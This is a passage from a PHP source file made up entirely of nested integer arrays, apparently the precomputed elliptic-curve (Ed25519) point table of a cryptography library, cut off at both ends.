                array(-19443170, -15512900, -20797467, -12445323, -29824447, 10229461, -27444329, -15000531, -5996870, 15664672),
                array(23294591, -16632613, -22650781, -8470978, 27844204, 11461195, 13099750, -2460356, 18151676, 13417686),
                array(-24722913, -4176517, -31150679, 5988919, -26858785, 6685065, 1661597, -12551441, 15271676, -15452665),
            ),
        ),
        array(
            array(
                array(11433042, -13228665, 8239631, -5279517, -1985436, -725718, -18698764, 2167544, -6921301, -13440182),
                array(-31436171, 15575146, 30436815, 12192228, -22463353, 9395379, -9917708, -8638997, 12215110, 12028277),
                array(14098400, 6555944, 23007258, 5757252, -15427832, -12950502, 30123440, 4617780, -16900089, -655628),
            ),
            array(
                array(-4026201, -15240835, 11893168, 13718664, -14809462, 1847385, -15819999, 10154009, 23973261, -12684474),
                array(-26531820, -3695990, -1908898, 2534301, -31870557, -16550355, 18341390, -11419951, 32013174, -10103539),
                array(-25479301, 10876443, -11771086, -14625140, -12369567, 1838104, 21911214, 6354752, 4425632, -837822),
            ),
            array(
                array(-10433389, -14612966, 22229858, -3091047, -13191166, 776729, -17415375, -12020462, 4725005, 14044970),
                array(19268650, -7304421, 1555349, 8692754, -21474059, -9910664, 6347390, -1411784, -19522291, -16109756),
                array(-24864089, 12986008, -10898878, -5558584, -11312371, -148526, 19541418, 8180106, 9282262, 10282508),
            ),
            array(
                array(-26205082, 4428547, -8661196, -13194263, 4098402, -14165257, 15522535, 8372215, 5542595, -10702683),
                array(-10562541, 14895633, 26814552, -16673850, -17480754, -2489360, -2781891, 6993761, -18093885, 10114655),
                array(-20107055, -929418, 31422704, 10427861, -7110749, 6150669, -29091755, -11529146, 25953725, -106158),
            ),
            array(
                array(-4234397, -8039292, -9119125, 3046000, 2101609, -12607294, 19390020, 6094296, -3315279, 12831125),
                array(-15998678, 7578152, 5310217, 14408357, -33548620, -224739, 31575954, 6326196, 7381791, -2421839),
                array(-20902779, 3296811, 24736065, -16328389, 18374254, 7318640, 6295303, 8082724, -15362489, 12339664),
            ),
            array(
                array(27724736, 2291157, 6088201, -14184798, 1792727, 5857634, 13848414, 15768922, 25091167, 14856294),
                array(-18866652, 8331043, 24373479, 8541013, -701998, -9269457, 12927300, -12695493, -22182473, -9012899),
                array(-11423429, -5421590, 11632845, 3405020, 30536730, -11674039, -27260765, 13866390, 30146206, 9142070),
            ),
            array(
                array(3924129, -15307516, -13817122, -10054960, 12291820, -668366, -27702774, 9326384, -8237858, 4171294),
                array(-15921940, 16037937, 6713787, 16606682, -21612135, 2790944, 26396185, 3731949, 345228, -5462949),
                array(-21327538, 13448259, 25284571, 1143661, 20614966, -8849387, 2031539, -12391231, -16253183, -13582083),
            ),
            array(
                array(31016211, -16722429, 26371392, -14451233, -5027349, 14854137, 17477601, 3842657, 28012650, -16405420),
                array(-5075835, 9368966, -8562079, -4600902, -15249953, 6970560, -9189873, 16292057, -8867157, 3507940),
                array(29439664, 3537914, 23333589, 6997794, -17555561, -11018068, -15209202, -15051267, -9164929, 6580396),
            ),
        ),
        array(
            array(
                array(-12185861, -7679788, 16438269, 10826160, -8696817, -6235611, 17860444, -9273846, -2095802, 9304567),
                array(20714564, -4336911, 29088195, 7406487, 11426967, -5095705, 14792667, -14608617, 5289421, -477127),
                array(-16665533, -10650790, -6160345, -13305760, 9192020, -1802462, 17271490, 12349094, 26939669, -3752294),
            ),
            array(
                array(-12889898, 9373458, 31595848, 16374215, 21471720, 13221525, -27283495, -12348559, -3698806, 117887),
                array(22263325, -6560050, 3984570, -11174646, -15114008, -566785, 28311253, 5358056, -23319780, 541964),
                array(16259219, 3261970, 2309254, -15534474, -16885711, -4581916, 24134070, -16705829, -13337066, -13552195),
            ),
            array(
                array(9378160, -13140186, -22845982, -12745264, 28198281, -7244098, -2399684, -717351, 690426, 14876244),
                array(24977353, -314384, -8223969, -13465086, 28432343, -1176353, -13068804, -12297348, -22380984, 6618999),
                array(-1538174, 11685646, 12944378, 13682314, -24389511, -14413193, 8044829, -13817328, 32239829, -5652762),
            ),
            array(
                array(-18603066, 4762990, -926250, 8885304, -28412480, -3187315, 9781647, -10350059, 32779359, 5095274),
                array(-33008130, -5214506, -32264887, -3685216, 9460461, -9327423, -24601656, 14506724, 21639561, -2630236),
                array(-16400943, -13112215, 25239338, 15531969, 3987758, -4499318, -1289502, -6863535, 17874574, 558605),
            ),
            array(
                array(-13600129, 10240081, 9171883, 16131053, -20869254, 9599700, 33499487, 5080151, 2085892, 5119761),
                array(-22205145, -2519528, -16381601, 414691, -25019550, 2170430, 30634760, -8363614, -31999993, -5759884),
                array(-6845704, 15791202, 8550074, -1312654, 29928809, -12092256, 27534430, -7192145, -22351378, 12961482),
            ),
            array(
                array(-24492060, -9570771, 10368194, 11582341, -23397293, -2245287, 16533930, 8206996, -30194652, -5159638),
                array(-11121496, -3382234, 2307366, 6362031, -135455, 8868177, -16835630, 7031275, 7589640, 8945490),
                array(-32152748, 8917967, 6661220, -11677616, -1192060, -15793393, 7251489, -11182180, 24099109, -14456170),
            ),
            array(
                array(5019558, -7907470, 4244127, -14714356, -26933272, 6453165, -19118182, -13289025, -6231896, -10280736),
                array(10853594, 10721687, 26480089, 5861829, -22995819, 1972175, -1866647, -10557898, -3363451, -6441124),
                array(-17002408, 5906790, 221599, -6563147, 7828208, -13248918, 24362661, -2008168, -13866408, 7421392),
            ),
            array(
                array(8139927, -6546497, 32257646, -5890546, 30375719, 1886181, -21175108, 15441252, 28826358, -4123029),
                array(6267086, 9695052, 7709135, -16603597, -32869068, -1886135, 14795160, -7840124, 13746021, -1742048),
                array(28584902, 7787108, -6732942, -15050729, 22846041, -7571236, -3181936, -363524, 4771362, -8419958),
            ),
        ),
        array(
            array(
                array(24949256, 6376279, -27466481, -8174608, -18646154, -9930606, 33543569, -12141695, 3569627, 11342593),
                array(26514989, 4740088, 27912651, 3697550, 19331575, -11472339, 6809886, 4608608, 7325975, -14801071),
                array(-11618399, -14554430, -24321212, 7655128, -1369274, 5214312, -27400540, 10258390, -17646694, -8186692),
            ),
            array(
                array(11431204, 15823007, 26570245, 14329124, 18029990, 4796082, -31446179, 15580664, 9280358, -3973687),
                array(-160783, -10326257, -22855316, -4304997, -20861367, -13621002, -32810901, -11181622, -15545091, 4387441),
                array(-20799378, 12194512, 3937617, -5805892, -27154820, 9340370, -24513992, 8548137, 20617071, -7482001),
            ),
            array(
                array(-938825, -3930586, -8714311, 16124718, 24603125, -6225393, -13775352, -11875822, 24345683, 10325460),
                array(-19855277, -1568885, -22202708, 8714034, 14007766, 6928528, 16318175, -1010689, 4766743, 3552007),
                array(-21751364, -16730916, 1351763, -803421, -4009670, 3950935, 3217514, 14481909, 10988822, -3994762),
            ),
            array(
                array(15564307, -14311570, 3101243, 5684148, 30446780, -8051356, 12677127, -6505343, -8295852, 13296005),
                array(-9442290, 6624296, -30298964, -11913677, -4670981, -2057379, 31521204, 9614054, -30000824, 12074674),
                array(4771191, -135239, 14290749, -13089852, 27992298, 14998318, -1413936, -1556716, 29832613, -16391035),
            ),
            array(
                array(7064884, -7541174, -19161962, -5067537, -18891269, -2912736, 25825242, 5293297, -27122660, 13101590),
                array(-2298563, 2439670, -7466610, 1719965, -27267541, -16328445, 32512469, -5317593, -30356070, -4190957),
                array(-30006540, 10162316, -33180176, 3981723, -16482138, -13070044, 14413974, 9515896, 19568978, 9628812),
            ),
            array(
                array(33053803, 199357, 15894591, 1583059, 27380243, -4580435, -17838894, -6106839, -6291786, 3437740),
                array(-18978877, 3884493, 19469877, 12726490, 15913552, 13614290, -22961733, 70104, 7463304, 4176122),
                array(-27124001, 10659917, 11482427, -16070381, 12771467, -6635117, -32719404, -5322751, 24216882, 5944158),
            ),
            array(
                array(8894125, 7450974, -2664149, -9765752, -28080517, -12389115, 19345746, 14680796, 11632993, 5847885),
                array(26942781, -2315317, 9129564, -4906607, 26024105, 11769399, -11518837, 6367194, -9727230, 4782140),
                array(19916461, -4828410, -22910704, -11414391, 25606324, -5972441, 33253853, 8220911, 6358847, -1873857),
            ),
            array(
                array(801428, -2081702, 16569428, 11065167, 29875704, 96627, 7908388, -4480480, -13538503, 1387155),
                array(19646058, 5720633, -11416706, 12814209, 11607948, 12749789, 14147075, 15156355, -21866831, 11835260),
                array(19299512, 1155910, 28703737, 14890794, 2925026, 7269399, 26121523, 15467869, -26560550, 5052483),
            ),
        ),
        array(
            array(
                array(-3017432, 10058206, 1980837, 3964243, 22160966, 12322533, -6431123, -12618185, 12228557, -7003677),
                array(32944382, 14922211, -22844894, 5188528, 21913450, -8719943, 4001465, 13238564, -6114803, 8653815),
                array(22865569, -4652735, 27603668, -12545395, 14348958, 8234005, 24808405, 5719875, 28483275, 2841751),
            ),
            array(
                array(-16420968, -1113305, -327719, -12107856, 21886282, -15552774, -1887966, -315658, 19932058, -12739203),
                array(-11656086, 10087521, -8864888, -5536143, -19278573, -3055912, 3999228, 13239134, -4777469, -13910208),
                array(1382174, -11694719, 17266790, 9194690, -13324356, 9720081, 20403944, 11284705, -14013818, 3093230),
            ),
            array(
                array(16650921, -11037932, -1064178, 1570629, -8329746, 7352753, -302424, 16271225, -24049421, -6691850),
                array(-21911077, -5927941, -4611316, -5560156, -31744103, -10785293, 24123614, 15193618, -21652117, -16739389),
                array(-9935934, -4289447, -25279823, 4372842, 2087473, 10399484, 31870908, 14690798, 17361620, 11864968),
            ),
            array(
                array(-11307610, 6210372, 13206574, 5806320, -29017692, -13967200, -12331205, -7486601, -25578460, -16240689),
                array(14668462, -12270235, 26039039, 15305210, 25515617, 4542480, 10453892, 6577524, 9145645, -6443880),
                array(5974874, 3053895, -9433049, -10385191, -31865124, 3225009, -7972642, 3936128, -5652273, -3050304),
            ),
            array(
                array(30625386, -4729400, -25555961, -12792866, -20484575, 7695099, 17097188, -16303496, -27999779, 1803632),
                array(-3553091, 9865099, -5228566, 4272701, -5673832, -16689700, 14911344, 12196514, -21405489, 7047412),
                array(20093277, 9920966, -11138194, -5343857, 13161587, 12044805, -32856851, 4124601, -32343828, -10257566),
            ),
            array(
                array(-20788824, 14084654, -13531713, 7842147, 19119038, -13822605, 4752377, -8714640, -21679658, 2288038),
                array(-26819236, -3283715, 29965059, 3039786, -14473765, 2540457, 29457502, 14625692, -24819617, 12570232),
                array(-1063558, -11551823, 16920318, 12494842, 1278292, -5869109, -21159943, -3498680, -11974704, 4724943),
            ),
            array(
                array(17960970, -11775534, -4140968, -9702530, -8876562, -1410617, -12907383, -8659932, -29576300, 1903856),
                array(23134274, -14279132, -10681997, -1611936, 20684485, 15770816, -12989750, 3190296, 26955097, 14109738),
                array(15308788, 5320727, -30113809, -14318877, 22902008, 7767164, 29425325, -11277562, 31960942, 11934971),
            ),
            array(
                array(-27395711, 8435796, 4109644, 12222639, -24627868, 14818669, 20638173, 4875028, 10491392, 1379718),
                array(-13159415, 9197841, 3875503, -8936108, -1383712, -5879801, 33518459, 16176658, 21432314, 12180697),
                array(-11787308, 11500838, 13787581, -13832590, -22430679, 10140205, 1465425, 12689540, -10301319, -13872883),
            ),
        ),
        array(
            array(
                array(5414091, -15386041, -21007664, 9643570, 12834970, 1186149, -2622916, -1342231, 26128231, 6032912),
                array(-26337395, -13766162, 32496025, -13653919, 17847801, -12669156, 3604025, 8316894, -25875034, -10437358),
                array(3296484, 6223048, 24680646, -12246460, -23052020, 5903205, -8862297, -4639164, 12376617, 3188849),
            ),
            array(
                array(29190488, -14659046, 27549113, -1183516, 3520066, -10697301, 32049515, -7309113, -16109234, -9852307),
                array(-14744486, -9309156, 735818, -598978, -20407687, -5057904, 25246078, -15795669, 18640741, -960977),
                array(-6928835, -16430795, 10361374, 5642961, 4910474, 12345252, -31638386, -494430, 10530747, 1053335),
            ),
            array(
                array(-29265967, -14186805, -13538216, -12117373, -19457059, -10655384, -31462369, -2948985, 24018831, 15026644),
                array(-22592535, -3145277, -2289276, 5953843, -13440189, 9425631, 25310643, 13003497, -2314791, -15145616),
                array(-27419985, -603321, -8043984, -1669117, -26092265, 13987819, -27297622, 187899, -23166419, -2531735),
            ),
            array(
                array(-21744398, -13810475, 1844840, 5021428, -10434399, -15911473, 9716667, 16266922, -5070217, 726099),
                array(29370922, -6053998, 7334071, -15342259, 9385287, 2247707, -13661962, -4839461, 30007388, -15823341),
                array(-936379, 16086691, 23751945, -543318, -1167538, -5189036, 9137109, 730663, 9835848, 4555336),
            ),
            array(
                array(-23376435, 1410446, -22253753, -12899614, 30867635, 15826977, 17693930, 544696, -11985298, 12422646),
                array(31117226, -12215734, -13502838, 6561947, -9876867, -12757670, -5118685, -4096706, 29120153, 13924425),
                array(-17400879, -14233209, 19675799, -2734756, -11006962, -5858820, -9383939, -11317700, 7240931, -237388),
            ),
            array(
                array(-31361739, -11346780, -15007447, -5856218, -22453340, -12152771, 1222336, 4389483, 3293637, -15551743),
                array(-16684801, -14444245, 11038544, 11054958, -13801175, -3338533, -24319580, 7733547, 12796905, -6335822),
                array(-8759414, -10817836, -25418864, 10783769, -30615557, -9746811, -28253339, 3647836, 3222231, -11160462),
            ),
            array(
                array(18606113, 1693100, -25448386, -15170272, 4112353, 10045021, 23603893, -2048234, -7550776, 2484985),
                array(9255317, -3131197, -12156162, -1004256, 13098013, -9214866, 16377220, -2102812, -19802075, -3034702),
                array(-22729289, 7496160, -5742199, 11329249, 19991973, -3347502, -31718148, 9936966, -30097688, -10618797),
            ),
            array(
                array(21878590, -5001297, 4338336, 13643897, -3036865, 13160960, 19708896, 5415497, -7360503, -4109293),
                array(27736861, 10103576, 12500508, 8502413, -3413016, -9633558, 10436918, -1550276, -23659143, -8132100),
                array(19492550, -12104365, -29681976, -852630, -3208171, 12403437, 30066266, 8367329, 13243957, 8709688),
            ),
        ),
        array(
            array(
                array(12015105, 2801261, 28198131, 10151021, 24818120, -4743133, -11194191, -5645734, 5150968, 7274186),
                array(2831366, -12492146, 1478975, 6122054, 23825128, -12733586, 31097299, 6083058, 31021603, -9793610),
                array(-2529932, -2229646, 445613, 10720828, -13849527, -11505937, -23507731, 16354465, 15067285, -14147707),
            ),
            array(
                array(7840942, 14037873, -33364863, 15934016, -728213, -3642706, 21403988, 1057586, -19379462, -12403220),
                array(915865, -16469274, 15608285, -8789130, -24357026, 6060030, -17371319, 8410997, -7220461, 16527025),
                array(32922597, -556987, 20336074, -16184568, 10903705, -5384487, 16957574, 52992, 23834301, 6588044),
            ),
            array(
                array(32752030, 11232950, 3381995, -8714866, 22652988, -10744103, 17159699, 16689107, -20314580, -1305992),
                array(-4689649, 9166776, -25710296, -10847306, 11576752, 12733943, 7924251, -2752281, 1976123, -7249027),
                array(21251222, 16309901, -2983015, -6783122, 30810597, 12967303, 156041, -3371252, 12331345, -8237197),
            ),
            array(
                array(8651614, -4477032, -16085636, -4996994, 13002507, 2950805, 29054427, -5106970, 10008136, -4667901),
                array(31486080, 15114593, -14261250, 12951354, 14369431, -7387845, 16347321, -13662089, 8684155, -10532952),
                array(19443825, 11385320, 24468943, -9659068, -23919258, 2187569, -26263207, -6086921, 31316348, 14219878),
            ),
            array(
                array(-28594490, 1193785, 32245219, 11392485, 31092169, 15722801, 27146014, 6992409, 29126555, 9207390),
                array(32382935, 1110093, 18477781, 11028262, -27411763, -7548111, -4980517, 10843782, -7957600, -14435730),
                array(2814918, 7836403, 27519878, -7868156, -20894015, -11553689, -21494559, 8550130, 28346258, 1994730),
            ),
            array(
                array(-19578299, 8085545, -14000519, -3948622, 2785838, -16231307, -19516951, 7174894, 22628102, 8115180),
                array(-30405132, 955511, -11133838, -15078069, -32447087, -13278079, -25651578, 3317160, -9943017, 930272),
                array(-15303681, -6833769, 28856490, 1357446, 23421993, 1057177, 24091212, -1388970, -22765376, -10650715),
            ),
            array(
                array(-22751231, -5303997, -12907607, -12768866, -15811511, -7797053, -14839018, -16554220, -1867018, 8398970),
                array(-31969310, 2106403, -4736360, 1362501, 12813763, 16200670, 22981545, -6291273, 18009408, -15772772),
                array(-17220923, -9545221, -27784654, 14166835, 29815394, 7444469, 29551787, -3727419, 19288549, 1325865),
            ),
            array(
                array(15100157, -15835752, -23923978, -1005098, -26450192, 15509408, 12376730, -3479146, 33166107, -8042750),
                array(20909231, 13023121, -9209752, 16251778, -5778415, -8094914, 12412151, 10018715, 2213263, -13878373),
                array(32529814, -11074689, 30361439, -16689753, -9135940, 1513226, 22922121, 6382134, -5766928, 8371348),
            ),
        ),
        array(
            array(
                array(9923462, 11271500, 12616794, 3544722, -29998368, -1721626, 12891687, -8193132, -26442943, 10486144),
                array(-22597207, -7012665, 8587003, -8257861, 4084309, -12970062, 361726, 2610596, -23921530, -11455195),
                array(5408411, -1136691, -4969122, 10561668, 24145918, 14240566, 31319731, -4235541, 19985175, -3436086),
            ),
            array(
                array(-13994457, 16616821, 14549246, 3341099, 32155958, 13648976, -17577068, 8849297, 65030, 8370684),
                array(-8320926, -12049626, 31204563, 5839400, -20627288, -1057277, -19442942, 6922164, 12743482, -9800518),
                array(-2361371, 12678785, 28815050, 4759974, -23893047, 4884717, 23783145, 11038569, 18800704, 255233),
            ),
            array(
                array(-5269658, -1773886, 13957886, 7990715, 23132995, 728773, 13393847, 9066957, 19258688, -14753793),
                array(-2936654, -10827535, -10432089, 14516793, -3640786, 4372541, -31934921, 2209390, -1524053, 2055794),
                array(580882, 16705327, 5468415, -2683018, -30926419, -14696000, -7203346, -8994389, -30021019, 7394435),
            ),
            array(
                array(23838809, 1822728, -15738443, 15242727, 8318092, -3733104, -21672180, -3492205, -4821741, 14799921),
                array(13345610, 9759151, 3371034, -16137791, 16353039, 8577942, 31129804, 13496856, -9056018, 7402518),
                array(2286874, -4435931, -20042458, -2008336, -13696227, 5038122, 11006906, -15760352, 8205061, 1607563),
            ),
            array(
                array(14414086, -8002132, 3331830, -3208217, 22249151, -5594188, 18364661, -2906958, 30019587, -9029278),
                array(-27688051, 1585953, -10775053, 931069, -29120221, -11002319, -14410829, 12029093, 9944378, 8024),
                array(4368715, -3709630, 29874200, -15022983, -20230386, -11410704, -16114594, -999085, -8142388, 5640030),
            ),
            array(
                array(10299610, 13746483, 11661824, 16234854, 7630238, 5998374, 9809887, -16694564, 15219798, -14327783),
                array(27425505, -5719081, 3055006, 10660664, 23458024, 595578, -15398605, -1173195, -18342183, 9742717),
                array(6744077, 2427284, 26042789, 2720740, -847906, 1118974, 32324614, 7406442, 12420155, 1994844),
            ),
            array(
                array(14012521, -5024720, -18384453, -9578469, -26485342, -3936439, -13033478, -10909803, 24319929, -6446333),
                array(16412690, -4507367, 10772641, 15929391, -17068788, -4658621, 10555945, -10484049, -30102368, -4739048),
                array(22397382, -7767684, -9293161, -12792868, 17166287, -9755136, -27333065, 6199366, 21880021, -12250760),
            ),
            array(
                array(-4283307, 5368523, -31117018, 8163389, -30323063, 3209128, 16557151, 8890729, 8840445, 4957760),
                array(-15447727, 709327, -6919446, -10870178, -29777922, 6522332, -21720181, 12130072, -14796503, 5005757),
                array(-2114751, -14308128, 23019042, 15765735, -25269683, 6002752, 10183197, -13239326, -16395286, -2176112),
            ),
        ),
        array(
            array(
                array(-19025756, 1632005, 13466291, -7995100, -23640451, 16573537, -32013908, -3057104, 22208662, 2000468),
                array(3065073, -1412761, -25598674, -361432, -17683065, -5703415, -8164212, 11248527, -3691214, -7414184),
                array(10379208, -6045554, 8877319, 1473647, -29291284, -12507580, 16690915, 2553332, -3132688, 16400289),
            ),
            array(
                array(15716668, 1254266, -18472690, 7446274, -8448918, 6344164, -22097271, -7285580, 26894937, 9132066),
                array(24158887, 12938817, 11085297, -8177598, -28063478, -4457083, -30576463, 64452, -6817084, -2692882),
                array(13488534, 7794716, 22236231, 5989356, 25426474, -12578208, 2350710, -3418511, -4688006, 2364226),
            ),
            array(
                array(16335052, 9132434, 25640582, 6678888, 1725628, 8517937, -11807024, -11697457, 15445875, -7798101),
                array(29004207, -7867081, 28661402, -640412, -12794003, -7943086, 31863255, -4135540, -278050, -15759279),
                array(-6122061, -14866665, -28614905, 14569919, -10857999, -3591829, 10343412, -6976290, -29828287, -10815811),
            ),
            array(
                array(27081650, 3463984, 14099042, -4517604, 1616303, -6205604, 29542636, 15372179, 17293797, 960709),
                array(20263915, 11434237, -5765435, 11236810, 13505955, -10857102, -16111345, 6493122, -19384511, 7639714),
                array(-2830798, -14839232, 25403038, -8215196, -8317012, -16173699, 18006287, -16043750, 29994677, -15808121),
            ),
            array(
                array(9769828, 5202651, -24157398, -13631392, -28051003, -11561624, -24613141, -13860782, -31184575, 709464),
                array(12286395, 13076066, -21775189, -1176622, -25003198, 4057652, -32018128, -8890874, 16102007, 13205847),
                array(13733362, 5599946, 10557076, 3195751, -5557991, 8536970, -25540170, 8525972, 10151379, 10394400),
            ),
            array(
                array(4024660, -16137551, 22436262, 12276534, -9099015, -2686099, 19698229, 11743039, -33302334, 8934414),
                array(-15879800, -4525240, -8580747, -2934061, 14634845, -698278, -9449077, 3137094, -11536886, 11721158),
                array(17555939, -5013938, 8268606, 2331751, -22738815, 9761013, 9319229, 8835153, -9205489, -1280045),
            ),
            array(
                array(-461409, -7830014, 20614118, 16688288, -7514766, -4807119, 22300304, 505429, 6108462, -6183415),
                array(-5070281, 12367917, -30663534, 3234473, 32617080, -8422642, 29880583, -13483331, -26898490, -7867459),
                array(-31975283, 5726539, 26934134, 10237677, -3173717, -605053, 24199304, 3795095, 7592688, -14992079),
            ),
            array(
                array(21594432, -14964228, 17466408, -4077222, 32537084, 2739898, 6407723, 12018833, -28256052, 4298412),
                array(-20650503, -11961496, -27236275, 570498, 3767144, -1717540, 13891942, -1569194, 13717174, 10805743),
                array(-14676630, -15644296, 15287174, 11927123, 24177847, -8175568, -796431, 14860609, -26938930, -5863836),
            ),
        ),
        array(
            array(
                array(12962541, 5311799, -10060768, 11658280, 18855286, -7954201, 13286263, -12808704, -4381056, 9882022),
                array(18512079, 11319350, -20123124, 15090309, 18818594, 5271736, -22727904, 3666879, -23967430, -3299429),
                array(-6789020, -3146043, 16192429, 13241070, 15898607, -14206114, -10084880, -6661110, -2403099, 5276065),
            ),
            array(
                array(30169808, -5317648, 26306206, -11750859, 27814964, 7069267, 7152851, 3684982, 1449224, 13082861),
                array(10342826, 3098505, 2119311, 193222, 25702612, 12233820, 23697382, 15056736, -21016438, -8202000),
                array(-33150110, 3261608, 22745853, 7948688, 19370557, -15177665, -26171976, 6482814, -10300080, -11060101),
            ),
            array(
                array(32869458, -5408545, 25609743, 15678670, -10687769, -15471071, 26112421, 2521008, -22664288, 6904815),
                array(29506923, 4457497, 3377935, -9796444, -30510046, 12935080, 1561737, 3841096, -29003639, -6657642),
                array(10340844, -6630377, -18656632, -2278430, 12621151, -13339055, 30878497, -11824370, -25584551, 5181966),
            ),
            array(
                array(25940115, -12658025, 17324188, -10307374, -8671468, 15029094, 24396252, -16450922, -2322852, -12388574),
                array(-21765684, 9916823, -1300409, 4079498, -1028346, 11909559, 1782390, 12641087, 20603771, -6561742),
                array(-18882287, -11673380, 24849422, 11501709, 13161720, -4768874, 1925523, 11914390, 4662781, 7820689),
            ),
            array(
                array(12241050, -425982, 8132691, 9393934, 32846760, -1599620, 29749456, 12172924, 16136752, 15264020),
                array(-10349955, -14680563, -8211979, 2330220, -17662549, -14545780, 10658213, 6671822, 19012087, 3772772),
                array(3753511, -3421066, 10617074, 2028709, 14841030, -6721664, 28718732, -15762884, 20527771, 12988982),
            ),
            array(
                array(-14822485, -5797269, -3707987, 12689773, -898983, -10914866, -24183046, -10564943, 3299665, -12424953),
                array(-16777703, -15253301, -9642417, 4978983, 3308785, 8755439, 6943197, 6461331, -25583147, 8991218),
                array(-17226263, 1816362, -1673288, -6086439, 31783888, -8175991, -32948145, 7417950, -30242287, 1507265),
            ),
            array(
                array(29692663, 6829891, -10498800, 4334896, 20945975, -11906496, -28887608, 8209391, 14606362, -10647073),
                array(-3481570, 8707081, 32188102, 5672294, 22096700, 1711240, -33020695, 9761487, 4170404, -2085325),
                array(-11587470, 14855945, -4127778, -1531857, -26649089, 15084046, 22186522, 16002000, -14276837, -8400798),
            ),
            array(
                array(-4811456, 13761029, -31703877, -2483919, -3312471, 7869047, -7113572, -9620092, 13240845, 10965870),
                array(-7742563, -8256762, -14768334, -13656260, -23232383, 12387166, 4498947, 14147411, 29514390, 4302863),
                array(-13413405, -12407859, 20757302, -13801832, 14785143, 8976368, -5061276, -2144373, 17846988, -13971927),
            ),
        ),
        array(
            array(
                array(-2244452, -754728, -4597030, -1066309, -6247172, 1455299, -21647728, -9214789, -5222701, 12650267),
                array(-9906797, -16070310, 21134160, 12198166, -27064575, 708126, 387813, 13770293, -19134326, 10958663),
                array(22470984, 12369526, 23446014, -5441109, -21520802, -9698723, -11772496, -11574455, -25083830, 4271862),
            ),
            array(
                array(-25169565, -10053642, -19909332, 15361595, -5984358, 2159192, 75375, -4278529, -32526221, 8469673),
                array(15854970, 4148314, -8893890, 7259002, 11666551, 13824734, -30531198, 2697372, 24154791, -9460943),
                array(15446137, -15806644, 29759747, 14019369, 30811221, -9610191, -31582008, 12840104, 24913809, 9815020),
            ),
            array(
                array(-4709286, -5614269, -31841498, -12288893, -14443537, 10799414, -9103676, 13438769, 18735128, 9466238),
                array(11933045, 9281483, 5081055, -5183824, -2628162, -4905629, -7727821, -10896103, -22728655, 16199064),
                array(14576810, 379472, -26786533, -8317236, -29426508, -10812974, -102766, 1876699, 30801119, 2164795),
            ),
            array(
                array(15995086, 3199873, 13672555, 13712240, -19378835, -4647646, -13081610, -15496269, -13492807, 1268052),
                array(-10290614, -3659039, -3286592, 10948818, 23037027, 3794475, -3470338, -12600221, -17055369, 3565904),
                array(29210088, -9419337, -5919792, -4952785, 10834811, -13327726, -16512102, -10820713, -27162222, -14030531),
            ),
            array(
                array(-13161890, 15508588, 16663704, -8156150, -28349942, 9019123, -29183421, -3769423, 2244111, -14001979),
                array(-5152875, -3800936, -9306475, -6071583, 16243069, 14684434, -25673088, -16180800, 13491506, 4641841),
                array(10813417, 643330, -19188515, -728916, 30292062, -16600078, 27548447, -7721242, 14476989, -12767431),
            ),
            array(
                array(10292079, 9984945, 6481436, 8279905, -7251514, 7032743, 27282937, -1644259, -27912810, 12651324),
                array(-31185513, -813383, 22271204, 11835308, 10201545, 15351028, 17099662, 3988035, 21721536, -3148940),
                array(10202177, -6545839, -31373232, -9574638, -32150642, -8119683, -12906320, 3852694, 13216206, 14842320),
            ),
            array(
                array(-15815640, -10601066, -6538952, -7258995, -6984659, -6581778, -31500847, 13765824, -27434397, 9900184),
                array(14465505, -13833331, -32133984, -14738873, -27443187, 12990492, 33046193, 15796406, -7051866, -8040114),
                array(30924417, -8279620, 6359016, -12816335, 16508377, 9071735, -25488601, 15413635, 9524356, -7018878),
            ),
            array(
                array(12274201, -13175547, 32627641, -1785326, 6736625, 13267305, 5237659, -5109483, 15663516, 4035784),
                array(-2951309, 8903985, 17349946, 601635, -16432815, -4612556, -13732739, -15889334, -22258478, 4659091),
                array(-16916263, -4952973, -30393711, -15158821, 20774812, 15897498, 5736189, 15026997, -2178256, -13455585),
            ),
        ),
        array(
            array(
                array(-8858980, -2219056, 28571666, -10155518, -474467, -10105698, -3801496, 278095, 23440562, -290208),
                array(10226241, -5928702, 15139956, 120818, -14867693, 5218603, 32937275, 11551483, -16571960, -7442864),
                array(17932739, -12437276, -24039557, 10749060, 11316803, 7535897, 22503767, 5561594, -3646624, 3898661),
            ),
            array(
                array(7749907, -969567, -16339731, -16464, -25018111, 15122143, -1573531, 7152530, 21831162, 1245233),
                array(26958459, -14658026, 4314586, 8346991, -5677764, 11960072, -32589295, -620035, -30402091, -16716212),
                array(-12165896, 9166947, 33491384, 13673479, 29787085, 13096535, 6280834, 14587357, -22338025, 13987525),
            ),
            array(
                array(-24349909, 7778775, 21116000, 15572597, -4833266, -5357778, -4300898, -5124639, -7469781, -2858068),
                array(9681908, -6737123, -31951644, 13591838, -6883821, 386950, 31622781, 6439245, -14581012, 4091397),
                array(-8426427, 1470727, -28109679, -1596990, 3978627, -5123623, -19622683, 12092163, 29077877, -14741988),
            ),
            array(
                array(5269168, -6859726, -13230211, -8020715, 25932563, 1763552, -5606110, -5505881, -20017847, 2357889),
                array(32264008, -15407652, -5387735, -1160093, -2091322, -3946900, 23104804, -12869908, 5727338, 189038),
                array(14609123, -8954470, -6000566, -16622781, -14577387, -7743898, -26745169, 10942115, -25888931, -14884697),
            ),
            array(
                array(20513500, 5557931, -15604613, 7829531, 26413943, -2019404, -21378968, 7471781, 13913677, -5137875),
                array(-25574376, 11967826, 29233242, 12948236, -6754465, 4713227, -8940970, 14059180, 12878652, 8511905),
                array(-25656801, 3393631, -2955415, -7075526, -2250709, 9366908, -30223418, 6812974, 5568676, -3127656),
            ),
            array(
                array(11630004, 12144454, 2116339, 13606037, 27378885, 15676917, -17408753, -13504373, -14395196, 8070818),
                array(27117696, -10007378, -31282771, -5570088, 1127282, 12772488, -29845906, 10483306, -11552749, -1028714),
                array(10637467, -5688064, 5674781, 1072708, -26343588, -6982302, -1683975, 9177853, -27493162, 15431203),
            ),
            array(
                array(20525145, 10892566, -12742472, 12779443, -29493034, 16150075, -28240519, 14943142, -15056790, -7935931),
                array(-30024462, 5626926, -551567, -9981087, 753598, 11981191, 25244767, -3239766, -3356550, 9594024),
                array(-23752644, 2636870, -5163910, -10103818, 585134, 7877383, 11345683, -6492290, 13352335, -10977084),
            ),
            array(
                array(-1931799, -5407458, 3304649, -12884869, 17015806, -4877091, -29783850, -7752482, -13215537, -319204),
                array(20239939, 6607058, 6203985, 3483793, -18386976, -779229, -20723742, 15077870, -22750759, 14523817),
                array(27406042, -6041657, 27423596, -4497394, 4996214, 10002360, -28842031, -4545494, -30172742, -4805667),
            ),
        ),
        array(
            array(
